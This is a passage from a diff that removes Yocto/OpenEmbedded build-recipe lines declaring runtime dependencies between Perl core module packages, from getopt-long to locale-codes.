-RDEPENDS_perl-module-getopt-long += "perl-module-pod-usage"
-RDEPENDS_perl-module-getopt-long += "perl-module-strict"
-RDEPENDS_perl-module-getopt-long += "perl-module-text-parsewords"
-RDEPENDS_perl-module-getopt-long += "perl-module-vars"
-RDEPENDS_perl-module-getopt-long += "perl-module-warnings"
-RDEPENDS_perl-module-getopt-std += "perl-module-exporter"
-RDEPENDS_perl-module-hash-util-fieldhash += "perl-module-exporter"
-RDEPENDS_perl-module-hash-util-fieldhash += "perl-module-strict"
-RDEPENDS_perl-module-hash-util-fieldhash += "perl-module-warnings"
-RDEPENDS_perl-module-hash-util-fieldhash += "perl-module-xsloader"
-RDEPENDS_perl-module-hash-util += "perl-module-exporter"
-RDEPENDS_perl-module-hash-util += "perl-module-hash-util-fieldhash"
-RDEPENDS_perl-module-hash-util += "perl-module-strict"
-RDEPENDS_perl-module-hash-util += "perl-module-warnings"
-RDEPENDS_perl-module-hash-util += "perl-module-warnings-register"
-RDEPENDS_perl-module-hash-util += "perl-module-xsloader"
-RDEPENDS_perl-module-i18n-collate += "perl-module-exporter"
-RDEPENDS_perl-module-i18n-collate += "perl-module-overload"
-RDEPENDS_perl-module-i18n-collate += "perl-module-posix"
-RDEPENDS_perl-module-i18n-collate += "perl-module-strict"
-RDEPENDS_perl-module-i18n-collate += "perl-module-warnings-register"
-RDEPENDS_perl-module-i18n-langinfo += "perl-module-exporter"
-RDEPENDS_perl-module-i18n-langinfo += "perl-module-strict"
-RDEPENDS_perl-module-i18n-langinfo += "perl-module-warnings"
-RDEPENDS_perl-module-i18n-langinfo += "perl-module-xsloader"
-RDEPENDS_perl-module-i18n-langtags-detect += "perl-module-i18n-langtags"
-RDEPENDS_perl-module-i18n-langtags-detect += "perl-module-strict"
-RDEPENDS_perl-module-i18n-langtags-list += "perl-module-strict"
-RDEPENDS_perl-module-i18n-langtags += "perl-module-exporter"
-RDEPENDS_perl-module-i18n-langtags += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-compress-raw-bzip2"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-adapter-identity += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-adapter-identity += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-adapter-identity += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-adapter-identity += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-constant"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-encode"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-file-globmapper"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-utf8"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-base += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-base += "perl-module-io-file"
-RDEPENDS_perl-module-io-compress-base += "perl-module-io-handle "
-RDEPENDS_perl-module-io-compress-base += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-base += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-exporter "
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-io-compress-adapter-bzip2"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-io-compress-base"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-exporter "
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-io-compress-adapter-deflate"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-io-compress-rawdeflate"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-io-compress-zlib-constants"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-constant"
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-exporter "
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-adapter-deflate"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-gzip-constants"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-rawdeflate"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-zlib-extra"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-exporter "
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-fcntl"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-io-compress-adapter-deflate"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-io-compress-base"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-zip-constants += "perl-module-constant"
-RDEPENDS_perl-module-io-compress-zip-constants += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-zip-constants += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-zip-constants += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-config"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-exporter "
-RDEPENDS_perl-module-io-compress-zip += "perl-module-fcntl"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-adapter-deflate"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-adapter-identity"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-bzip2 "
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-rawdeflate"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-zip-constants"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-zlib-extra"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-zip += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-constant"
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-zlib-extra += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-zlib-extra += "perl-module-io-compress-gzip-constants"
-RDEPENDS_perl-module-io-compress-zlib-extra += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-zlib-extra += "perl-module-warnings"
-RDEPENDS_perl-module-io-dir += "perl-module-exporter"
-RDEPENDS_perl-module-io-dir += "perl-module-file-stat"
-RDEPENDS_perl-module-io-dir += "perl-module-io-file"
-RDEPENDS_perl-module-io-dir += "perl-module-strict"
-RDEPENDS_perl-module-io-dir += "perl-module-tie-hash"
-RDEPENDS_perl-module-io-file += "perl-module-exporter"
-RDEPENDS_perl-module-io-file += "perl-module-fcntl"
-RDEPENDS_perl-module-io-file += "perl-module-io-seekable"
-RDEPENDS_perl-module-io-file += "perl-module-selectsaver"
-RDEPENDS_perl-module-io-file += "perl-module-strict"
-RDEPENDS_perl-module-io-handle += "perl-module-exporter"
-RDEPENDS_perl-module-io-handle += "perl-module-io"
-RDEPENDS_perl-module-io-handle += "perl-module-io-file"
-RDEPENDS_perl-module-io-handle += "perl-module-selectsaver"
-RDEPENDS_perl-module-io-handle += "perl-module-strict"
-RDEPENDS_perl-module-io += "perl-module-strict"
-RDEPENDS_perl-module-io += "perl-module-warnings"
-RDEPENDS_perl-module-io += "perl-module-xsloader"
-RDEPENDS_perl-module-io-pipe += "perl-module-fcntl"
-RDEPENDS_perl-module-io-pipe += "perl-module-io-handle"
-RDEPENDS_perl-module-io-pipe += "perl-module-strict"
-RDEPENDS_perl-module-io-poll += "perl-module-exporter"
-RDEPENDS_perl-module-io-poll += "perl-module-io-handle"
-RDEPENDS_perl-module-io-poll += "perl-module-strict"
-RDEPENDS_perl-module-io-seekable += "perl-module-exporter"
-RDEPENDS_perl-module-io-seekable += "perl-module-fcntl"
-RDEPENDS_perl-module-io-seekable += "perl-module-io-handle"
-RDEPENDS_perl-module-io-seekable += "perl-module-strict"
-RDEPENDS_perl-module-io-select += "perl-module-exporter"
-RDEPENDS_perl-module-io-select += "perl-module-strict"
-RDEPENDS_perl-module-io-select += "perl-module-warnings-register"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-errno"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-exporter"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-io-socket"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-socket"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-strict"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-base"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-constant"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-errno"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-posix"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-socket"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-strict"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-warnings"
-RDEPENDS_perl-module-io-socket += "perl-module-errno"
-RDEPENDS_perl-module-io-socket += "perl-module-exporter"
-RDEPENDS_perl-module-io-socket += "perl-module-io-handle"
-RDEPENDS_perl-module-io-socket += "perl-module-io-select"
-RDEPENDS_perl-module-io-socket += "perl-module-io-socket-inet"
-RDEPENDS_perl-module-io-socket += "perl-module-io-socket-unix"
-RDEPENDS_perl-module-io-socket += "perl-module-socket"
-RDEPENDS_perl-module-io-socket += "perl-module-strict"
-RDEPENDS_perl-module-io-socket-unix += "perl-module-io-socket"
-RDEPENDS_perl-module-io-socket-unix += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-compress-raw-bzip2"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-io-compress-zip-constants "
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-adapter-inflate"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-base"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-gunzip"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-inflate"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-rawinflate"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-unzip"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-io-uncompress-base"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-constant"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-io-file "
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-list-util"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-io-uncompress-adapter-bunzip2"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-io-uncompress-base"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-io-compress-gzip-constants"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-io-compress-zlib-extra"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-io-uncompress-rawinflate"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-io-compress-zlib-constants"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-io-uncompress-rawinflate"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-io-uncompress-adapter-inflate"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-io-uncompress-base"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-constant"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-fcntl"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-compress-zip-constants"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-compress-zlib-extra"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-file"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-uncompress-adapter-identity"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-uncompress-adapter-inflate"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-uncompress-rawinflate"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-posix"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-warnings"
-RDEPENDS_perl-module-io-zlib += "perl-module-fcntl"
-RDEPENDS_perl-module-io-zlib += "perl-module-io-handle"
-RDEPENDS_perl-module-io-zlib += "perl-module-strict"
-RDEPENDS_perl-module-io-zlib += "perl-module-tie-handle"
-RDEPENDS_perl-module-io-zlib += "perl-module-vars"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-constant"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-exporter"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-filehandle"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-io-handle"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-io-select"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-ipc-open3"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-locale-maketext-simple"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-load"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-params-check"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-posix"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-socket"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-strict"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-text-parsewords"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-time-hires"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-vars"
-RDEPENDS_perl-module-ipc-msg += "perl-module-class-struct"
-RDEPENDS_perl-module-ipc-msg += "perl-module-ipc-sysv"
-RDEPENDS_perl-module-ipc-msg += "perl-module-strict"
-RDEPENDS_perl-module-ipc-msg += "perl-module-vars"
-RDEPENDS_perl-module-ipc-open2 += "perl-module-exporter"
-RDEPENDS_perl-module-ipc-open2 += "perl-module-ipc-open3"
-RDEPENDS_perl-module-ipc-open2 += "perl-module-strict"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-constant"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-exporter"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-fcntl"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-io-pipe"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-posix"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-strict"
-RDEPENDS_perl-module-ipc-semaphore += "perl-module-class-struct"
-RDEPENDS_perl-module-ipc-semaphore += "perl-module-ipc-sysv"
-RDEPENDS_perl-module-ipc-semaphore += "perl-module-strict"
-RDEPENDS_perl-module-ipc-semaphore += "perl-module-vars"
-RDEPENDS_perl-module-ipc-sharedmem += "perl-module-class-struct"
-RDEPENDS_perl-module-ipc-sharedmem += "perl-module-ipc-sysv"
-RDEPENDS_perl-module-ipc-sharedmem += "perl-module-strict"
-RDEPENDS_perl-module-ipc-sharedmem += "perl-module-vars"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-config"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-dynaloader"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-exporter"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-strict"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-vars"
-RDEPENDS_perl-module-json-pp-boolean += "perl-module-overload"
-RDEPENDS_perl-module-json-pp-boolean += "perl-module-strict"
-RDEPENDS_perl-module-json-pp += "perl-module-b"
-RDEPENDS_perl-module-json-pp += "perl-module-bytes"
-RDEPENDS_perl-module-json-pp += "perl-module-constant"
-RDEPENDS_perl-module-json-pp += "perl-module-encode"
-RDEPENDS_perl-module-json-pp += "perl-module-exporter"
-RDEPENDS_perl-module-json-pp += "perl-module-json-pp-boolean"
-RDEPENDS_perl-module-json-pp += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-json-pp += "perl-module-math-bigint"
-RDEPENDS_perl-module-json-pp += "perl-module-overload"
-RDEPENDS_perl-module-json-pp += "perl-module-strict"
-RDEPENDS_perl-module-json-pp += "perl-module-subs"
-RDEPENDS_perl-module-less += "perl-module-strict"
-RDEPENDS_perl-module-less += "perl-module-warnings"
-RDEPENDS_perl-module-lib += "perl-module-config"
-RDEPENDS_perl-module-lib += "perl-module-strict"
-RDEPENDS_perl-module-list-util += "perl-module-exporter"
-RDEPENDS_perl-module-list-util += "perl-module-strict"
-RDEPENDS_perl-module-list-util += "perl-module-warnings"
-RDEPENDS_perl-module-list-util += "perl-module-xsloader"
-RDEPENDS_perl-module-list-util-xs += "perl-module-list-util"
-RDEPENDS_perl-module-list-util-xs += "perl-module-strict"
-RDEPENDS_perl-module-list-util-xs += "perl-module-warnings"
-RDEPENDS_perl-module-loaded += "perl-module-strict"
-RDEPENDS_perl-module-loaded += "perl-module-vars"
-RDEPENDS_perl-module-load += "perl-module-config"
-RDEPENDS_perl-module-load += "perl-module-constant"
-RDEPENDS_perl-module-load += "perl-module-exporter"
-RDEPENDS_perl-module-load += "perl-module-filehandle"
-RDEPENDS_perl-module-load += "perl-module-locale-maketext-simple"
-RDEPENDS_perl-module-load += "perl-module-corelist"
-RDEPENDS_perl-module-load += "perl-module-load"
-RDEPENDS_perl-module-load += "perl-module-params-check"
-RDEPENDS_perl-module-load += "perl-module-strict"
-RDEPENDS_perl-module-load += "perl-module-vars"
-RDEPENDS_perl-module-load += "perl-module-version"
-RDEPENDS_perl-module-load += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-constants += "perl-module-constant"
-RDEPENDS_perl-module-locale-codes-constants += "perl-module-exporter"
-RDEPENDS_perl-module-locale-codes-constants += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-constants += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-country-codes += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-country-codes += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-country-codes += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-country += "perl-module-exporter"
-RDEPENDS_perl-module-locale-codes-country += "perl-module-if"
-RDEPENDS_perl-module-locale-codes-country += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-codes-country += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-codes-country += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-country += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-country-retired += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-country-retired += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-country-retired += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-currency-codes += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-currency-codes += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-currency-codes += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-currency += "perl-module-exporter"
-RDEPENDS_perl-module-locale-codes-currency += "perl-module-if"
-RDEPENDS_perl-module-locale-codes-currency += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-codes-currency += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-codes-currency += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-currency += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-currency-retired += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-currency-retired += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-currency-retired += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-langext-codes += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-langext-codes += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-langext-codes += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-langext += "perl-module-exporter"
-RDEPENDS_perl-module-locale-codes-langext += "perl-module-if"
-RDEPENDS_perl-module-locale-codes-langext += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-codes-langext += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-codes-langext += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-langext += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-langext-retired += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-langext-retired += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-langext-retired += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-langfam-codes += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-langfam-codes += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-langfam-codes += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-langfam += "perl-module-exporter"
-RDEPENDS_perl-module-locale-codes-langfam += "perl-module-if"
-RDEPENDS_perl-module-locale-codes-langfam += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-codes-langfam += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-codes-langfam += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-langfam += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-langfam-retired += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-langfam-retired += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-language-codes += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-language-codes += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-language-codes += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-language += "perl-module-exporter"
-RDEPENDS_perl-module-locale-codes-language += "perl-module-if"
-RDEPENDS_perl-module-locale-codes-language += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-codes-language += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-codes-language += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-language += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-language-retired += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-language-retired += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-language-retired += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-langvar-codes += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-langvar-codes += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-langvar-codes += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-langvar += "perl-module-exporter"
-RDEPENDS_perl-module-locale-codes-langvar += "perl-module-if"
-RDEPENDS_perl-module-locale-codes-langvar += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-codes-langvar += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-codes-langvar += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-langvar += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-langvar-retired += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-langvar-retired += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-langvar-retired += "perl-module-warnings"
